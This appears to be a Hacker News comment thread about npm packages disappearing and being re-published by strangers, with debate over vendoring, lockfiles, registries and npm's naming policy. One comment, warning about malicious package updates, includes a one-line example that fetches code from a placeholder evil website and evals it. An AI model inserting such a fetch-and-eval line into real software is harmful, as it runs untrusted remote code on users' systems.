They should take a good hard look at NuGet, which does not allow packages to be deleted so builds are guaranteed to be reliable. Still doesn't hurt to locally cache packages with software such as Klondike.
- https://github.com/elsehow/gx-js
- https://github.com/ipmjs/ipmjs
Store all of your dependencies locally.
If something disappears then at least you can continue until you find a replacement.
Unfortunately with NPM this is still awkward, because as soon as you try to shrinkwrap your project, it doesn't just pin the version numbers, it also pins the full source location. That's in direct conflict with (and apparently takes precedence over) using one of the local caching proxies that would otherwise be a useful practical solution to this problem, and the situation gets even more complicated if you have people building at multiple locations and want each to have their own proxy.
Yarn seems to have a better approach to this. It has a few problems of its own, notably surprising, quiet updates to the lock file when using the default options (IMHO a mistake since the big selling point of Yarn is its deterministic, reproducible behaviour) but at least you can do something resembling a local cache combined with something resembling version pinning, which is the ante for any sane build system.
NPM has its own lockfiles now, similar to yarn.
> It has a few problems of its own, notably surprising, quiet updates to the lock file when using the default options
This I've never noticed. I'm genuinely curious how it would happen. The only way I imagine it might happen is if you do a fresh install with no cache and some of the packages have moved or changed on the registry. Do you happen to have more details?
Edit: Also thanks for the tip about npm's new locking mechanism. Apparently that arrived with NPM 5. I just checked, and we have developer machines here that were last updated well under a year ago and are still on NPM 3, and that had itself been installed along with something like the third new major version of Node in not much over a year. I don't know how anyone is supposed to do development intelligently while the most fundamental tools for things like dependency management are bumping a major version and radically changing how they do even the most basic and essential things literally every few months. :-(
In short, package authors don't tend to care about much more than getting their package to work, somehow, anyhow. Often only the latest version of that package, too. And they don't always have an eye on interoperability with other packages, or consistency across a collection. Maintainers who create a "distribution" of software that works well together can collaboratively make decisions that are in the community's best interest. The "wild west" model is unilateral, the "maintained" model is multi-lateral.
That's not entirely true. Maintainers or distributors aren't required under the "wild-west" model, but that's not the same as anything being disallowed. It's up to the community and the developer to do their own due diligence. The "wild west" model is just the free software model, it's just the lack of some central authority limiting user freedom for the good of the community.
Rather, it's the "distribution" model which forbids anything not approved by the list of official maintainers. All of the problems you list with package authors still exist, but you have fewer options as a developer should they arise.
Node.js package manager SHOULD BE COMMUNITY OWNED/DRIVEN
https://github.com/npm/registry/issues/255
Be part of the history :)
EDIT: there are now over 1100 comments/memes.
You should also not be cowboy updating things just because there is an update.
1. Allow a single package file, including multiple clauses (or sub-files, whatever) for different languages. Let me manage my Angular front-end and Flask back-end in the same file. A single CLI tool as well - Composer and Bower aren't all that different.
2. Be the trusted broker, with e.g. MD5 checking, virus scanning, some kind of certification/badging/web of trust thing. Let developers know if it's listed, it's been vetted in some way.
3. Allow client-side caching, but also act as a cache/proxy fetch for package retrieval. That way, if Github or source site is down, the Internet doesn't come to a screeching halt. I see the value of Satis, but it's a whole additional tool to solve just one part of this one problem.
4. Server-side dependency solver. Cache the requests and give instant answers for similar requests. All sorts of value-adds in analytics here, made more valuable by crossing language boundaries.
5. Act as an advocate for good semver, as part of the vetting above.
NOTE: These features are not all-or-nothing, I believe there's value from implementing each one on its own. Also note that nothing here should lock people into one provider for these services. There's a market to be made here.
http://blog.npmjs.org/post/169432444640/npm-operational-inci...
TL;DR: "no malicious actors were involved in yesterday’s incident, and the security of npm users’ accounts and the integrity of these 106 packages were never jeopardized."
A more detailed report will follow in the next days.
https://github.com/mohsen1/json-formatter-js/pull/58#issueco...
https://github.com/floatdrop/pinkie
It seems that someone took over the package during its absence from npm and deployed a version 2.0.5. Maybe to avoid any malicious takeover. But there is no version 2.0.5 anymore.
There's multiple ways to solve to mitigate the risk, but committing libraries in to source control can cause way more headaches than it prevents IMO.
Just commit them, don't make things a mess.
There are advantages to checking in all your deps, but many drawbacks as well (especially for an interpreted language; something like Go avoids a few of these):
- Incredibly slow SCM operations unless you use the perfect options every time (good luck, new devs). I've experienced this with Perforce and Git, and hoo boy does a "get three cups of coffee while you wait"-time diff/commit operation throw a hitch in your plans.
- You need either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read when you update stuff.
- Actually understanding the diffs you read when packages get updated. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.
- Hassles with regards to compiled dependencies. You have to filter them out of source control (can be a hassle to find all the places they live), or remember to rebuild when changing OS versions/stdlib versions/runtime versions/architectures/etc. That can get pretty annoying, especially since in my experience each "runtime loaded" compiled dependency gives you many completely different, utterly unintelligible errors when it's used in an environment where it should be rebuilt.
http://magarshak.com/blog/?tag=identity
Well, Q allows you to choose between “each individual publishes their own stream” and some degree of “centralized publishing” by management teams of groups. So who should publish a stream, the individual or the group?
If the individual - the risk is that the individual may have too much power over others who come to rely on the stream. They may suddenly stop publishing it, or cut off access to everyone, which would hurt many people. (I define hurt in terms of needs or strong expectations of people that form over time.)
If the group - then managers may come and go, but the risk is that if the group is too big, it may be out of touch with the individuals. The bigger risk is that the individuals are forced to go along with the group, which may also create a lot of frustration. For instance, the group may give rise to into three sub-groups. They are deciding where to go, but some people want to go bowling, others want to go to the movies, others want to volunteer in a soup kitchen. Even though everyone belongs to the group. Who should publish these activities?
So I think when it comes to publishing streams that others can join, there should be some combination of groups and individuals. And it should reflect the best practices of what happens in the real world: one person starts a group that may later become bigger than him. Then this group grows, gets managers etc. After a while this person may leave. In the future, other individuals may want to start their own groups and invite some members of the old group to join. They may establish relationships between each other, subscribe to each other’s streams, pay each other money, etc.
See https://github.com/npm/registry/issues/255 for details.
Very annoying, breaks builds all over, also prevents installing react-native.
If this was only a matter of missing packages, this would "only" be a matter of breaking builds.
But it looks like third parties were able to take over the missing packages, see https://github.com/npm/registry/issues/256 - which is a HUGE deal, considering "npm install" blindly executes the scripts in a package's preinstall property (as well as the packaged module itself possibly containing arbitrary backdoors)
The caret syntax for auto-upgrading to the next minor version is the open door to a world of bullshit.
This wouldn't fix the issue of someone deleting the actual package (this happened here?), but it would prevent some malicious code being installed if someone uses the same package name.
Edit: grammar
left-pad was a package to, you guessed it, pad a string with n leading characters. Personally, I've always just written my own 2 line function for it (something like `function pad(s, n, ch) { return new Array(n - s.length).fill(ch).join("") + s; }`), but a bunch of packages either directly or indirectly depended on this left-pad package, so they all broke.
function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len - str.length;
while (++i < len) {
str = ch + str;
}
return str;But yes, packages broke because of what _could_ have been implemented in one line (ignoring the two lines for the function signature and closing curly).
Vendor your dependencies that are needed to run build your applications. Period.
Which means that it's not a technical difference. Maybe Central has been compromised/had issues before, just long ago (it's certainly much older). Maybe there are things wrong with NPM-as-a-company even if NPM-as-a-technology is fine. Maybe it's just luck.
But "stays there until nuclear fire immolates the Earth" sounds a bit much like "this ship is completely unsinkable" for my liking.
Kind of funny how shitty modern technology is. But I heard a quote recently that kind of explains it: "The more sophisticated something is, the easier it is to break it."
What an ecosystem we have built.
It seems to me that if packages "disappear" from upstream, it shouldn't have any effect other than preventing an update due to the missing dependency.
- The missing packages can be replaced by someone who wasn't the original package author (e.g. a malicious hacker) - It's not easy to catch this ^^^ because NPM doesn't have support for signing versions in your project's dependency configuration... (I bet it will after this.) - Almost every modern website has a dependency on NPM somewhere in their build chain - NPM being down means loads of sites can't deploy properly
So yeah. This may be a really big deal.
What are the open-source / self-hosting options here? It gets a little messy with all the sub-dependencies, doesn't it?
Plus you also get private packages.
I wish I'd taken his advice as there are a couple of JAR files that I can no longer update.
There are lots of other structures that work like this. Git is one - when git fetches a branch, git will check whether the remote branch includes all the commits it saw last time it fetched, or some are missing. (By default this is non-fatal but tends to produce warnings/errors when you try to actually use the replaced branch, but you can easily make this fatal.) Another good one is the style of Merkle trees used in Certificate Transparency: there's no proof-of-work, so the trees are small, but they still include a cryptographic hash of each previous tree so you can detect if something has gone missing.
The other relevant property of the blockchain is that it's not a reference to data elsewhere, it (like git) actually contains all the data that's ever been on the blockchain, and you need that data to verify the blockchain properly. This may or may not be what you want for a programming language package manager; it means that in order to set up a new development environment, you have to download every version npm package that ever existed. It does accomplish the goal of preventing things from being removed, but it's pretty heavy-weight.
This is not true. Bitcoin-esque blockchains are NOT append only. The only thing clients do is: 1) ensure the blockchain they have received is valid, and 2) that it is longer (more total PoW). If those conditions are met, they will consider that new chain the current chain.
You can come up with a new, completely different sequence of blocks, send it to clients on the network, and get them to start using that new chain instead as long as it has more PoW.
The key thing here is that there is an obvious central authority for software releases (the NPM registry, or GitHub, or Debian, or whatever), so proof-of-work-style systems are overkill because you don't fundamentally need decentralization. You could imagine some sort of decentralized first-come-first-serve software registry, but that doesn't seem obviously better than a central one.
It is better to use content hashes and a system that distributes and enforces these, like IPFS.
Someone could just create some hooks for https://github.com/whyrusleeping/gx and we would have it done.
NPM already allows using git repos, but needs some tweaks to allow better support:
* allow versioning via git tags
* store git commit in `package-lock.json`.
* maybe something else...
You can reference commits in package.json already.
Ideally if all packages would use commits, and the installation algorithm will never change, then there will be no need for lock files.
In reality some packages will use NPM existing mechanism, so "git-based algorithm" will need to accommodate for that by reading git repo of the NPM package and referring to a specific commit, which should be store in `package-lock.json`.
From [1]:
> With the default registry (registry.npmjs.org), unpublish is only allowed with versions published in the last 24 hours. If you are trying to unpublish a version published longer ago than that, contact support@npmjs.com.
I am kinda assuming that if npm support were to help you unpublish a package that is depended upon (they might refuse), they would prevent someone else from re-publishing to that name (they might put up their own placeholder package, like they did during the left-pad incident), but granted I can't find this stated anywhere.
I think the reason re-publishing seemed to happen in this case was they weren't prepared for whatever vector allowed for the deletion of these packages.
HN: Shrinkpack – npm dependencies as tarballs, prevents “left-pad” style breakage - https://news.ycombinator.com/item?id=11353908
Wonder if npm, Inc. would view a decentralized registry as a threat to their business model?
http://blog.npmjs.org/post/163723642530/crossenv-malware-on-...
https://github.com/npm/registry/issues/255#issuecomment-3557...
I can't even install webpack-dev-server. Because this package is missing.
EDIT: it's back
[1]: https://stackoverflow.com/questions/48131550/nodemon-install...
It defeats the entire purpose of using a public repository.
... Or it did. I received a harshly worded letter from npm saying they axed it. It hit all the talking points about inclusiveness and making sure no one feels even slightly annoyed.
Meh. No point to this story. Just an interesting situation with an inconsistently curated package manager. I was surprised there was an unofficial undocumented banlist.
https://www.npmjs.com/policies/conduct
I guess lots of people will think that a policy like Avoid using offensive or harassing package names, nicknames, or other identifiers that might detract from a friendly, safe, and welcoming environment for all. stifles their inner something or other though.
Because probably every country has some words they don't like.
Name aside, the package as described is useless and serves no legitimate function.
If they're going to curate, they should do some quality control.
It's funny how many people get easily pissed off about other people allegedly being oversensitive. And it's sad how many of them are part of my same bullied-as-young-nerds cohort, considering that it appears their reaction to getting some power for the first time in their lives was to jump into the bully camp themselves.
Or maybe they see others using political correctness to bully people around them.
So I stick by my stance that it seems like tying to try those things together ("you screwed this up because you're morally in the wrong as shown by your focusing on the wrong things") to advance a personal political agenda is the more bullying behavior, here.
"Please don't use unnecessarily harmful/crude/we-don't-like-it language when giving names to pieces of computer software that we host, manage, and coordinate for you" counts as bullying now? I think not. As they say, if you don't like it, don't play.
And besides, NPM seems pretty focused on package names alone (as they should be). If you absolutely must live out your libertarian fantasy by being insulting, nobody's stopping you from making the API to your package something like:
const pkg = require('totally-innocuous')
pkg.IHateYouBecauseOfYourEthicityOrGenderOrReligionAndIAmProudOfIt()But people do have knee-jerk reactions, and people do overreact for fear of it being bullying next time. None of those are likely to be necessary on this case, but people's feeling aren't very contextual. Many people will react to overreaching political correctness for fear alone, and it isn't nice for the GP to accuse them of bullying.
If they take that down the Nazí one but not the Fabiano one, you can then take your mischief making to the next level by accusing them of being misogynists for banning a package promoting a woman chess champion but leaving up the one for the man.
Pipenv has pretty much fixed Python packaging/dependencies, in my opinion. It's the all-in-one tool I've always wanted. If you do any Python work, try it, it's great.
(Of course it's even easier to just add node_modules to the repo but that is messy).